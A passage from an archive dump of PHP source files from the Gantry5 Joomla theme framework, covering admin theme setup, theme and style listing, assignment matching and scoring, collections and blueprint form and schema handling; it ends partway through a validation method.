use Gantry\Framework\Platform;
use RocketTheme\Toolbox\Event\Event;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;

class Theme extends AbstractTheme
{
    /**
     * @see AbstractTheme::init()
     */
    protected function init()
    {
        $gantry = static::gantry();

        // Add particles, styles and defaults into DI.

        $gantry['particles'] = function ($c) {
            return new Particles($c);
        };

        $gantry['styles'] = function ($c) {
            return new Styles($c);
        };

        $gantry['page'] = function ($c) {
            return new Page($c);
        };

        $gantry['defaults'] = function($c) {
            /** @var UniformResourceLocator $locator */
            $locator = $c['locator'];

            $cache =
$locator->findResource('gantry-cache://theme/compiled/config',
true, true);
            $paths =
$locator->findResources('gantry-config://default');

            $files = (new ConfigFileFinder)->locateFiles($paths);

            $config = new CompiledConfig($cache, $files, GANTRY5_ROOT);
            $config->setBlueprints(function() use ($c) {
                return $c['blueprints'];
            });

            return $config->load(true);
        };

        // Initialize admin streams.

        /** @var Platform $patform */
        $patform = $gantry['platform'];

        /** @var UniformResourceLocator $locator */
        $locator = $gantry['locator'];

        $nucleus =
$patform->getEnginePaths('nucleus')[''];
        if (strpos($this->path, '://')) {
            $relpath = $this->path;
        } else {
            $relpath = Folder::getRelativePath($this->path);
        }
        $patform->set(
            'streams.gantry-admin.prefixes', [
                ''        =>
['gantry-theme://admin', $relpath, $relpath .
'/common', 'gantry-engine://admin'],
                'assets/' => array_merge([$relpath, $relpath .
'/common'], $nucleus, ['gantry-assets://'])
            ]
        );

        // Add admin paths.
        foreach
($patform->get('streams.gantry-admin.prefixes') as $prefix
=> $paths) {
            $locator->addPath('gantry-admin', $prefix,
$paths);
        }

        // Fire admin init event.
        $event = new Event;
        $event->gantry = $gantry;
        $event->theme = $this;
        $gantry->fireEvent('admin.init.theme', $event);
    }

    /**
     * @see AbstractTheme::getCachePath()
     *
     * @param string $path
     * @return string
     */
    protected function getCachePath($path = '')
    {
        $gantry = static::gantry();

        /** @var Platform $patform */
        $patform = $gantry['platform'];

        // Initialize theme cache stream.
        return $patform->getCachePath() . '/admin' . ($path ?
'/' . $path : '');
    }

    /**
     * @see AbstractTheme::setTwigLoaderPaths()
     *
     * @param \Twig_LoaderInterface $loader
     */
    protected function setTwigLoaderPaths(\Twig_LoaderInterface $loader)
    {
        if (!($loader instanceof \Twig_Loader_Filesystem)) {
            return;
        }

        $gantry = static::gantry();

        /** @var UniformResourceLocator $locator */
        $locator = $gantry['locator'];

       
$loader->setPaths($locator->findResources('gantry-admin://templates'));
       
$loader->setPaths($locator->findResources('gantry-admin://templates'),
'gantry-admin');
    }
}
Gantry/Admin/ThemeList.php000064400000010577151157471010011463
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   GNU/GPLv2 and later
 *
 * http://www.gnu.org/licenses/gpl-2.0.html
 */

namespace Gantry\Admin;

use Gantry\Component\Filesystem\Folder;
use Gantry\Component\Theme\ThemeDetails;
use Gantry\Framework\Gantry;
use Joomla\Registry\Registry;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;


class ThemeList
{
    /**
     * @var ThemeDetails[]
     */
    protected static $items;

    /**
     * @var array
     */
    protected static $styles;

    /**
     * @return array
     */
    public static function getThemes()
    {
        if (!is_array(static::$items)) {
            static::loadThemes();
        }

        $list = [];
        foreach (static::$items as $item) {
            $details = static::getTheme($item['name']);
            if ($details) {
                $list[$item['name']] = $details;
            }
        }

        return $list;
    }

    /**
     * @param string $name
     * @return mixed
     */
    public static function getTheme($name)
    {
        $styles = static::getStyles($name);

        return reset($styles);
    }

    /**
     * @param string $template
     * @return array
     */
    public static function getStyles($template = null, $force = false)
    {
        if ($force || !is_array(static::$styles)) {
            static::loadStyles();
        }

        if ($template) {
            return isset(static::$styles[$template]) ?
static::$styles[$template] : [];
        }

        $list = [];
        foreach (static::$styles as $styles) {
            $list += $styles;
        }

        ksort($list);

        return $list;
    }

    protected static function loadThemes()
    {
        $gantry = Gantry::instance();

        /** @var UniformResourceLocator $locator */
        $locator = $gantry['locator'];

        /** @var array|ThemeDetails[] $list */
        $list = [];

        $files = Folder::all('gantry-themes://',
['recursive' => false, 'files' => false]);
        natsort($files);

        foreach ($files as $theme) {
            if ($locator('gantry-themes://' . $theme .
'/gantry/theme.yaml')) {
                $details = new ThemeDetails($theme);
                $details->addStreams();

                $details['name'] = $theme;
                $details['title'] =
$details['details.name'];
                $details['preview_url'] = null;
                $details['admin_url'] =
$gantry['platform']->getThemeAdminUrl($theme);
                $details['params'] = [];

                $list[$details->name] = $details;

            }
        }

        // Add Thumbnails links after adding all the paths to the locator.
        foreach ($list as $details) {
            $details['thumbnail'] =
$details->getUrl("details.images.thumbnail");
        }

        static::$items = $list;
    }

    protected static function loadStyles()
    {
        $gantry = Gantry::instance();
        $db = \JFactory::getDbo();

        $query = $db
            ->getQuery(true)
            ->select('s.id, e.extension_id, s.template AS name,
s.title, s.params')
            ->from('#__template_styles AS s')
            ->where('s.client_id = 0')
            ->where('e.enabled = 1')
            ->where('e.state = 0')
            ->leftJoin('#__extensions AS e ON e.element=s.template
AND e.type='
                . $db->quote('template') . ' AND
e.client_id=s.client_id')
            ->order('s.id');

        $db->setQuery($query);

        $styles = (array) $db->loadObjectList();

        if (!is_array(static::$items)) {
            static::loadThemes();
        }

        /** @var array|ThemeDetails[] $list */
        $list = [];

        foreach ($styles as $style)
        {
            $details = isset(static::$items[$style->name]) ?
static::$items[$style->name] : null;
            if (!$details) {
                continue;
            }

            $params = new Registry($style->params);

            $details = clone $details;
            $details['id'] = $style->id;
            $details['extension_id'] = $style->extension_id;
            $details['style'] = $style->title;
            $details['preview_url'] =
$gantry['platform']->getThemePreviewUrl($style->id);
            $details['params'] = $params->toArray();

            $list[$style->name][$style->id] = $details;
        }

        static::$styles = $list;
    }
}
Gantry/Component/Admin/HtmlController.php000064400000001745151157471010014474
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Admin;

use Gantry\Component\Controller\HtmlController as BaseController;

abstract class HtmlController extends BaseController
{
    /**
     * @param string|array $file
     * @param array $context
     * @return string
     */
    public function render($file, array $context = [])
    {
        return
$this->container['admin.theme']->render($file, $context);
    }

    /**
     * @param string $action
     * @param string $id
     * @return boolean
     */
    public function authorize($action, $id = null)
    {
        return
$this->container['platform']->authorize($action, $id);
    }
}
Gantry/Component/Admin/JsonController.php000064400000001745151157471010014501
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Admin;

use Gantry\Component\Controller\JsonController as BaseController;

abstract class JsonController extends BaseController
{
    /**
     * @param string|array $file
     * @param array $context
     * @return string
     */
    public function render($file, array $context = [])
    {
        return
$this->container['admin.theme']->render($file, $context);
    }

    /**
     * @param string $action
     * @param string $id
     * @return boolean
     */
    public function authorize($action, $id = null)
    {
        return
$this->container['platform']->authorize($action, $id);
    }
}
Gantry/Component/Assignments/AbstractAssignments.php000064400000016752151157471010016752
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Assignments;

use Gantry\Component\Config\CompiledConfig;
use Gantry\Component\Config\ConfigFileFinder;
use Gantry\Framework\Gantry;
use RocketTheme\Toolbox\File\YamlFile;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;

abstract class AbstractAssignments
{
    /**
     * @var string
     */
    protected $configuration;

    /**
     * @var string
     */
    protected $className =
'\Gantry\%s\Assignments\Assignments%s';

    /**
     * @var string
     */
    protected $platform;

    /**
     * @var AssignmentFilter
     */
    protected $filter;

    /**
     * @var array
     */
    protected $candidates;

    /**
     * @var array
     */
    protected $page;

    /** @var callable */
    protected $specialFilterMethod;

    /**
     * @param string $configuration
     */
    public function __construct($configuration = null)
    {
        $this->configuration = $configuration;
    }

    /**
     * Get list of assignment items.
     */
    public function get()
    {
        return $this->getTypes();
    }

    /**
     * Set (save) assignments.
     *
     * @param array $data
     */
    public function set(array $data)
    {
        $this->save($data);
    }

    /**
     * Select assigned outline.
     *
     * @param string $default
     * @return string
     */
    public function select($default = 'default')
    {
        $scores = $this->scores();

        return key($scores) ?: $default;
    }

    /**
     * List matching outlines sorted by score.
     *
     * @param array $candidates
     * @return array
     */
    public function scores(array $candidates = null)
    {
        $this->init();
        $candidates = $candidates ?: $this->candidates;
        return $this->filter->scores($candidates, $this->page,
$this->specialFilterMethod);
    }

    /**
     * List matching outlines with matched assignments.
     *
     * @param array $candidates
     * @return array
     */
    public function matches(array $candidates = null)
    {
        $this->init();
        $candidates = $candidates ?: $this->candidates;
        return $this->filter->matches($candidates, $this->page,
$this->specialFilterMethod);
    }

    /**
     * Load all assignments.
     *
     * @return array
     */
    public function loadAssignments()
    {
        $gantry = Gantry::instance();

        /** @var UniformResourceLocator $locator */
        $locator = $gantry['locator'];

        // Find all the assignment files.
        $paths = $locator->findResources("gantry-config://");
        $files = (new
ConfigFileFinder)->locateFileInFolder('assignments', $paths);

        // Make sure that base or system outlines aren't in the list.
        foreach ($files as $key => $array) {
            $key = (string)$key;
            if ($key === 'default' || strpos($key, '_')
=== 0) {
                unset($files[$key]);
            }
        }

        $cache =
$locator->findResource('gantry-cache://theme/compiled/config',
true, true);

        $config = new CompiledConfig($cache, [$files], GANTRY5_ROOT);

        return $config->load()->toArray();
    }

    /**
     * Get all assignments for the current page.
     *
     * @return array
     */
    public function getPage()
    {
        $list = [];

        foreach($this->types() as $class => $type) {
            $class = is_numeric($class) ? sprintf($this->className,
$this->platform, ucfirst($type)) : $class;

            if (!class_exists($class)) {
                throw new \RuntimeException("Assignment type {$type}
is missing");
            }

            /** @var AssignmentsInterface $instance */
            $instance = new $class;
            $list[$type] = $instance->getRules();
            unset($instance);
        }

        return $list;
    }

    /**
     * Filter assignments data.
     *
     * @param array $data
     * @param bool $minimize
     * @return array
     */
    public function filter(array $data, $minimize = false)
    {
        $types = [];
        foreach ($this->types() as $type) {
            $types[$type] = [];
        }

        $data = array_replace($types, $data);
        foreach ($data as $tname => &$type) {
            if (is_array($type)) {
                foreach ($type as $gname => &$group) {
                    if (is_array($group)) {
                        foreach ($group as $key => $value) {
                            if (!$value) {
                                unset($group[$key]);
                            } else {
                                $group[$key] = (bool) $value;
                            }
                        }
                        if (empty($group)) {
                            unset($type[$gname]);
                        }
                    } else {
                        $group = (bool) $group;
                    }
                }
                unset($group);
                if ($minimize && empty($type)) {
                    unset($data[$tname]);
                }
            } else {
                $type = (bool) $type;
            }
        }

        return $data;
    }

    /**
     * Save assignments for the configuration.
     *
     * @param array $data
     */
    public function save(array $data)
    {
        $data = $this->filter($data);

        $gantry = Gantry::instance();

        /** @var UniformResourceLocator $locator */
        $locator = $gantry['locator'];

        // Save layout into custom directory for the current theme.
        $save_dir =
$locator->findResource("gantry-config://{$this->configuration}",
true, true);
        $filename = "{$save_dir}/assignments.yaml";

        $file = YamlFile::instance($filename);
        $file->save($data);
        $file->free();
    }

    /**
     * Get list of all assignment types for assignments form.
     *
     * @return array
     */
    public function getTypes()
    {
        $list = [];

        foreach ($this->types() as $class => $type) {
            $class = is_numeric($class) ? sprintf($this->className,
$this->platform, ucfirst($type)) : $class;

            if (!class_exists($class)) {
                throw new \RuntimeException("Assignment type
'{$type}' is missing");
            }

            /** @var AssignmentsInterface $instance */
            $instance = new $class;
            $list[$type] =
$instance->listRules($this->configuration);
            unset($instance);
        }

        return $list;
    }

    /**
     * Get selected assignment option.
     *
     * @return string
     */
    public function getAssignment()
    {
        return 'default';
    }

    /**
     * Set extra options for assignments.
     *
     * @param $value
     */
    public function setAssignment($value)
    {
    }

    /**
     * Get extra options for assignments.
     *
     * @return array
     */
    public function assignmentOptions()
    {
        return [];
    }

    protected function init()
    {
        if (!$this->filter) {
            $this->filter = new AssignmentFilter;
            $this->candidates = $this->loadAssignments();
            $this->page = $this->getPage();
        }
    }

    /**
     * Return list of assignment types.
     *
     * @return array
     */
    abstract public function types();
}
Gantry/Component/Assignments/AssignmentFilter.php000064400000011457151157471010016246
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Assignments;

/**
 * Class AssignmentFilter
 * @package Gantry\Assignments
 */
class AssignmentFilter
{
    protected $method;

    /**
     * Return all matching candidates with their score. Candidates are
ordered by their scores.
     *
     * @param array $candidates  In format of
candidates[name][section][rule].
     * @param array $page        In format of page[section][rule].
     * @return array
     */
    public function scores(array &$candidates, array &$page,
callable $function = null)
    {
        $matches = $this->matches($candidates, $page, $function);

        $scores = [];
        foreach ($matches as $type => $candidate) {
            $scores[$type] = $this->getScore($candidate) +
(isset($candidate['language']) ? 0.01 : 0);
        }

        // Always return matches by score in alphabetical order.
        ksort($scores, SORT_STRING);
        arsort($scores, SORT_NUMERIC);

        return $scores;
    }

    /**
     * Returns all matching candidates with matching rules.
     *
     * @param array $candidates  In format of
candidates[name][section][rule].
     * @param array $page        In format of page[section][rule].
     * @return array
     */
    public function matches(array $candidates, array &$page, callable
$function = null)
    {
        $matches = [];
        foreach ($candidates as $type => $candidate) {
            if (!is_array($candidate)) {
                if ($candidate === true && $page) {
                    $matches[$type] = $page;
                }
                continue;
            }
            foreach ($candidate as $section => $list) {
                if (!is_array($list)) {
                    if ($list === true && !empty($page[$section]))
{
                        $matches[$type][$section] = $page[$section];
                    }
                    continue;
                }
                foreach ($list as $name => $rules) {
                    if (!empty($page[$section][$name])) {
                        if (!is_array($rules)) {
                            $match = $rules === true ?
$page[$section][$name] : [];
                        } else {
                            $match =
\array_intersect_key($page[$section][$name], $rules);
                        }
                        if ($match) {
                            $matches[$type][$section][$name] = $match;
                        }
                    }
                }
            }
            if (isset($matches[$type]) && $function &&
call_user_func($function, $candidate, $matches[$type], $page) === false) {
                unset($matches[$type]);
            }
        }

        return $matches;
    }

    /**
     * Returns the calculated score for the assignment.
     *
     * @param array $matches
     * @param string $method
     * @return int
     */
    public function getScore(array &$matches, $method =
'max')
    {
        $this->method = 'calc' . ucfirst($method);

        if (!method_exists($this, $this->method)) {
            $this->method = 'calcMax';
        }

        return $this->calcArray(0, $matches);
    }

    /**
     * @param float $carry
     * @param float|array $item
     * @return float
     * @internal
     */
    protected function calcArray($carry, $item)
    {
        if (is_array($item)) {
            return array_reduce($item, [$this, 'calcArray'],
$carry);
        }

        $method = $this->method;
        return $this->{$method}($carry, (float) $item);
    }

    /**
     * @param float $carry
     * @param float $item
     * @return float
     * @internal
     */
    protected function calcOr($carry, $item)
    {
        return (float) ($carry || $item);
    }

    /**
     * @param float $carry
     * @param float $item
     * @return float
     * @internal
     */
    protected function calcMin($carry, $item)
    {
        return $carry ? min($carry, $item) : $item;
    }

    /**
     * @param float $carry
     * @param float $item
     * @return float
     * @internal
     */
    protected function calcMax($carry, $item)
    {
        return max($carry, $item);
    }

    /**
     * @param float $carry
     * @param float $item
     * @return float
     * @internal
     */
    protected function calcSum($carry, $item)
    {
        return $carry + $item;
    }

    /**
     * @param float $carry
     * @param float $item
     * @return float
     * @internal
     */
    protected function calcMul($carry, $item)
    {
        return $carry ? $carry * $item : $item;
    }
}
Gantry/Component/Assignments/AssignmentsInterface.php000064400000001356151157471010017101
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Assignments;

interface AssignmentsInterface
{
    /**
     * Returns list of rules which apply to the current page.
     *
     * @return array
     */
    public function getRules();

    /**
     * List all the rules available.
     *
     * @param string $configuration
     * @return array
     */
    public function listRules($configuration);
}
Gantry/Component/Collection/Collection.php000064400000002471151157471010014657
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Collection;

use RocketTheme\Toolbox\ArrayTraits\ArrayAccess;
use RocketTheme\Toolbox\ArrayTraits\Countable;
use RocketTheme\Toolbox\ArrayTraits\Export;

class Collection implements CollectionInterface
{
    use ArrayAccess, Countable, Export;

    /**
     * @var array
     */
    protected $items = [];

    public static function __set_state($variables)
    {
        $instance = new static();
        $instance->items = $variables['items'];
        return $instance;
    }

    /**
     *
     * Create a copy of this collection.
     *
     * @return static
     */
    public function copy()
    {
        return clone $this;
    }

    /**
     * @param $item
     * @return $this
     */
    public function add($item)
    {
        $this->items[] = $item;

        return $this;
    }

    /**
     * @return \ArrayIterator
     */
    public function getIterator()
    {
        return new \ArrayIterator($this->items);
    }
}
Gantry/Component/Collection/CollectionInterface.php000064400000002176151157471010016502
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Collection;

interface CollectionInterface extends \IteratorAggregate, \ArrayAccess,
\Countable
{
    public function toArray();

    /**
     * @param $item
     */
    public function add($item);

    /**
     * @return \ArrayIterator
     */
    public function getIterator();

    /**
     * @param $offset
     *
     * @return bool
     */
    public function offsetExists($offset);

    /**
     * @param $offset
     * @param $value
     */
    public function offsetSet($offset, $value);

    /**
     * @param $offset
     *
     * @return mixed
     */
    public function offsetGet($offset);

    /**
     * @param $offset
     */
    public function offsetUnset($offset);

    /**
     * @return int
     */
    public function count();
}
Gantry/Component/Config/BlueprintForm.php000064400000022071151157471010014464
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Config;

use Gantry\Component\File\CompiledYamlFile;
use Gantry\Framework\Gantry;
use RocketTheme\Toolbox\Blueprints\BlueprintForm as BaseBlueprintForm;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;

/**
 * The Config class contains configuration information.
 *
 * @author RocketTheme
 */
class BlueprintForm extends BaseBlueprintForm
{
    /**
     * @var string
     */
    protected $context = 'gantry-blueprints://';

    /**
     * @var BlueprintSchema
     */
    protected $schema;

    /**
     * @param string $filename
     * @param string $context
     * @return BlueprintForm
     */
    public static function instance($filename, $context = null)
    {
        /** @var BlueprintForm $instance */
        $instance = new static($filename);
        if ($context) {
            $instance->setContext($context);
        }

        return $instance->load()->init();
    }

    /**
     * Get nested structure containing default values defined in the
blueprints.
     *
     * Fields without default value are ignored in the list.
     *
     * @return array
     */
    public function getDefaults()
    {
        return $this->schema()->getDefaults();
    }

    /**
     * Merge two arrays by using blueprints.
     *
     * @param  array $data1
     * @param  array $data2
     * @param  string $name         Optional
     * @param  string $separator    Optional
     * @return array
     */
    public function mergeData(array $data1, array $data2, $name = null,
$separator = '.')
    {
        return $this->schema()->mergeData($data1, $data2, $name,
$separator);
    }

    /**
     * Return data fields that do not exist in blueprints.
     *
     * @param  array  $data
     * @param  string $prefix
     * @return array
     */
    public function extra(array $data, $prefix = '')
    {
        return $this->schema()->extra($data, $prefix);
    }

    /**
     * Validate data against blueprints.
     *
     * @param  array $data
     * @throws \RuntimeException
     */
    public function validate(array $data)
    {
        $this->schema()->validate($data);
    }

    /**
     * Filter data by using blueprints.
     *
     * @param  array $data
     * @return array
     */
    public function filter(array $data)
    {
        return $this->schema()->filter($data);
    }

    /**
     * @return BlueprintSchema
     */
    public function schema()
    {
        if (!isset($this->schema)) {
            $this->schema = new BlueprintSchema;
            $this->schema->embed('', $this->items);
            $this->schema->init();
        }

        return $this->schema;
    }

    /**
     * @param string $filename
     * @return string
     */
    protected function loadFile($filename)
    {
        $file = CompiledYamlFile::instance($filename);
        $content = $file->content();
        $file->free();

        return $content;
    }

    /**
     * @param string|array $path
     * @param string $context
     * @return array
     */
    protected function getFiles($path, $context = null)
    {
        if (is_string($path) && !strpos($path, '://')) {
            // Resolve filename.
            if (isset($this->overrides[$path])) {
                $path = $this->overrides[$path];
            } else {
                if ($context === null) {
                    $context = $this->context;
                }
                if ($context && $context[strlen($context)-1] !==
'/') {
                    $context .= '/';
                }
                $path = $context . $path;

                if (!preg_match('/\.yaml$/', $path)) {
                    $path .= '.yaml';
                }
            }
        }

        if (is_string($path) && strpos($path, '://')) {
            /** @var UniformResourceLocator $locator */
            $locator = Gantry::instance()['locator'];

            $files = $locator->findResources($path);
        } else {
            $files = (array) $path;
        }

        return $files;
    }

    /**
     * @param array $field
     * @param string $property
     * @param array $call
     */
    protected function dynamicData(array &$field, $property, array
&$call)
    {
        $params = $call['params'];

        if (is_array($params)) {
            $function = array_shift($params);
        } else {
            $function = $params;
            $params = [];
        }

        list($o, $f) = preg_split('/::/', $function, 2);
        if (!$f) {
            if (function_exists($o)) {
                $data = call_user_func_array($o, $params);
            }
        } else {
            if (method_exists($o, $f)) {
                $data = call_user_func_array(array($o, $f), $params);
            }
        }

        // If function returns a value,
        if (isset($data)) {
            if (isset($field[$property]) &&
is_array($field[$property]) && is_array($data)) {
                // Combine field and @data-field together.
                $field[$property] += $data;
            } else {
                // Or create/replace field with @data-field.
                $field[$property] = $data;
            }
        }
    }

    /**
     * @param array $field
     * @param string $property
     * @param array $call
     */
    protected function dynamicConfig(array &$field, $property, array
&$call)
    {
        $value = $call['params'];

        $default = isset($field[$property]) ? $field[$property] : null;
        $config = Gantry::instance()['config']->get($value,
$default);

        if (!is_null($config)) {
            $field[$property] = $config;
        }
    }

    /**
     * Get blueprints by using slash notation for nested arrays/objects.
     *
     * @param array  $path
     * @param string  $separator
     * @return array
     */
    public function resolve(array $path, $separator = '/')
    {
        $fields = false;
        $parts = [];
        $current = $this['form/fields'];
        $result = [null, null, null];
        $prefix = '';

        while (($field = current($path)) !== false) {
            if (!$fields && isset($current['fields'])) {
                if (!empty($current['array'])) {
                    $result = [$current, $parts, $path ?
implode($separator, $path) : null];
                    // Skip item offset.
                    $parts[] = array_shift($path);
                }

                $current = $current['fields'];
                $prefix = '';
                $fields = true;

            } elseif (isset($current[$prefix . $field])) {
                $parts[] = array_shift($path);
                $current = $current[$prefix . $field];
                $prefix = '';
                $fields = false;

            } elseif (isset($current['.' . $prefix . $field])) {
                $parts[] = array_shift($path);
                $current = $current['.' . $prefix . $field];
                $prefix = '';
                $fields = false;

            } elseif ($field && $this->fieldExists($prefix .
$field, $current)) {
                $parts[] = array_shift($path);
                $prefix = "{$prefix}{$field}.";
                $fields = false;

            } else {
                // Check if there's a container with the field.
                $current = $this->resolveContainer($current, $prefix,
$field);

                // No containers with the field found.
                if (!$current) {
                    break;
                }

                $prefix = '';
                $fields = false;
            }
        }

        if (!$fields && !empty($current['array'])) {
            $result = [$current, $parts, $path ? implode($separator, $path)
: null];
        }

        return $result;
    }

    protected function resolveContainer($current, $prefix, $fieldName)
    {
        foreach ($current as $field) {
            $type = isset($field['type']) ?
$field['type'] : 'container._implicit';
            $container = (0 === strpos($type, 'container.'));

            if (!$container || !isset($field['fields'])) {
                continue;
            }

            $current_fields = $field['fields'];
            if (isset($current_fields[$prefix . $fieldName]) ||
isset($current_fields['.' . $prefix . $fieldName])
                || $this->fieldExists($prefix . $fieldName,
$current_fields)) {
                return $current_fields;
            }

            $current_fields = $this->resolveContainer($current_fields,
$prefix, $fieldName);
            if ($current_fields !== null) {
                return $current_fields;
            }
        }

        return null;
    }

    protected function fieldExists($prefix, $list)
    {
        foreach ($list as $field => $data) {
            $pos = strpos($field, $prefix);
            if ($pos === 0 || ($pos === 1 && $field[0] ===
'.')) {
                return true;
            }
        }

        return false;
    }
}
Gantry/Component/Config/BlueprintSchema.php000064400000015361151157471010014765
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Config;

use Gantry\Framework\Gantry;
use RocketTheme\Toolbox\Blueprints\BlueprintSchema as BlueprintSchemaBase;

/**
 * Blueprint schema handles the internal logic of blueprints.
 *
 * @author RocketTheme
 * @license MIT
 */
class BlueprintSchema extends BlueprintSchemaBase
{
    protected $configuration;

    protected $ignoreFormKeys = [
        'title' => true,
        'help' => true,
        'placeholder' => true,
        'fields' => true
    ];

    protected $types = [
        'container.set' => [
            'input@' => false
        ],
        'container.tabs' => [
            'input@' => false
        ],
        'separator.note' => [
            'input@' => false
        ],
        'separator.separator' => [
            'input@' => false
        ],
        'key' => [
            'input@' => false
        ],
        'collection.list' => [
            'array' => true
        ]
    ];

    /**
     * Constructor.
     *
     * @param array $serialized  Serialized content if available.
     */
    public function __construct($serialized = null)
    {
        parent::__construct($serialized);

        $this->configuration = new
Config(isset($serialized['configuration']) ?
$serialized['configuration'] : []);
    }

    /**
     * Convert object into an array.
     *
     * @return array
     */
    public function getState()
    {
        return parent::getState() + ['configuration' =>
$this->configuration->toArray()];
    }

    /**
     * Get nested structure containing default values defined in the
blueprints.
     *
     * Fields without default value are ignored in the list.
     *
     * @return array
     */
    public function getDefaults()
    {
        return array_merge_recursive($this->configuration->toArray(),
$this->buildDefaults($this->nested));
    }

    /**
     * Embed an array to the blueprint.
     *
     * @param $name
     * @param array $value
     * @param string $separator
     * @param bool $merge   Merge fields instead replacing them.
     * @return $this
     */
    public function embed($name, array $value, $separator = '.',
$merge = false)
    {
        parent::embed($name, $value, $separator, $merge);

        if (isset($value['configuration'])) {
            $this->configuration->set($name,
$value['configuration'], $separator);
        }

        return $this;
    }

    /**
     * Validate data against blueprints.
     *
     * @param  array $data
     * @throws \RuntimeException
     */
    public function validate(array $data)
    {
        try {
            $messages = $this->validateArray($data, $this->nested);

        } catch (\RuntimeException $e) {
            throw (new ValidationException($e->getMessage(),
$e->getCode(), $e))->setMessages();
        }

        if (!empty($messages)) {
            throw (new ValidationException())->setMessages($messages);
        }
    }

    /**
     * Filter data by using blueprints.
     *
     * @param  array $data
     * @return array
     */
    public function filter(array $data)
    {
        return $this->filterArray($data, $this->nested);
    }

    /**
     * @param array $data
     * @param array $rules
     * @returns array
     * @throws \RuntimeException
     * @internal
     */
    protected function validateArray(array $data, array $rules)
    {
        $messages = $this->checkRequired($data, $rules);

        foreach ($data as $key => $field) {
            $val = isset($rules[$key]) ? $rules[$key] :
(isset($rules['*']) ? $rules['*'] : null);
            $rule = is_string($val) ? $this->items[$val] : null;

            if ($rule) {
                // Item has been defined in blueprints.
                $messages += Validation::validate($field, $rule);
            } elseif (is_array($field) && is_array($val)) {
                // Array has been defined in blueprints.
                $messages += $this->validateArray($field, $val);
            } elseif (isset($rules['validation']) &&
$rules['validation'] == 'strict') {
                // Undefined/extra item.
                throw new \RuntimeException(sprintf('%s is not defined
in blueprints', $key));
            }
        }

        return $messages;
    }

    /**
     * @param array $data
     * @param array $rules
     * @return array
     * @internal
     */
    protected function filterArray(array $data, array $rules)
    {
        $results = array();
        foreach ($data as $key => $field) {
            $val = isset($rules[$key]) ? $rules[$key] :
(isset($rules['*']) ? $rules['*'] : null);
            $rule = is_string($val) ? $this->items[$val] : null;

            if ($rule) {
                // Item has been defined in blueprints.
                $field = Validation::filter($field, $rule);
            } elseif (is_array($field) && is_array($val)) {
                // Array has been defined in blueprints.
                $field = $this->filterArray($field, $val);
            } elseif (isset($rules['validation']) &&
$rules['validation'] == 'strict') {
                $field = null;
            }

            if (isset($field) && (!is_array($field) ||
!empty($field))) {
                $results[$key] = $field;
            }
        }

        return $results;
    }

    /**
     * @param array $data
     * @param array $fields
     * @return array
     */
    protected function checkRequired(array $data, array $fields)
    {
        $messages = [];

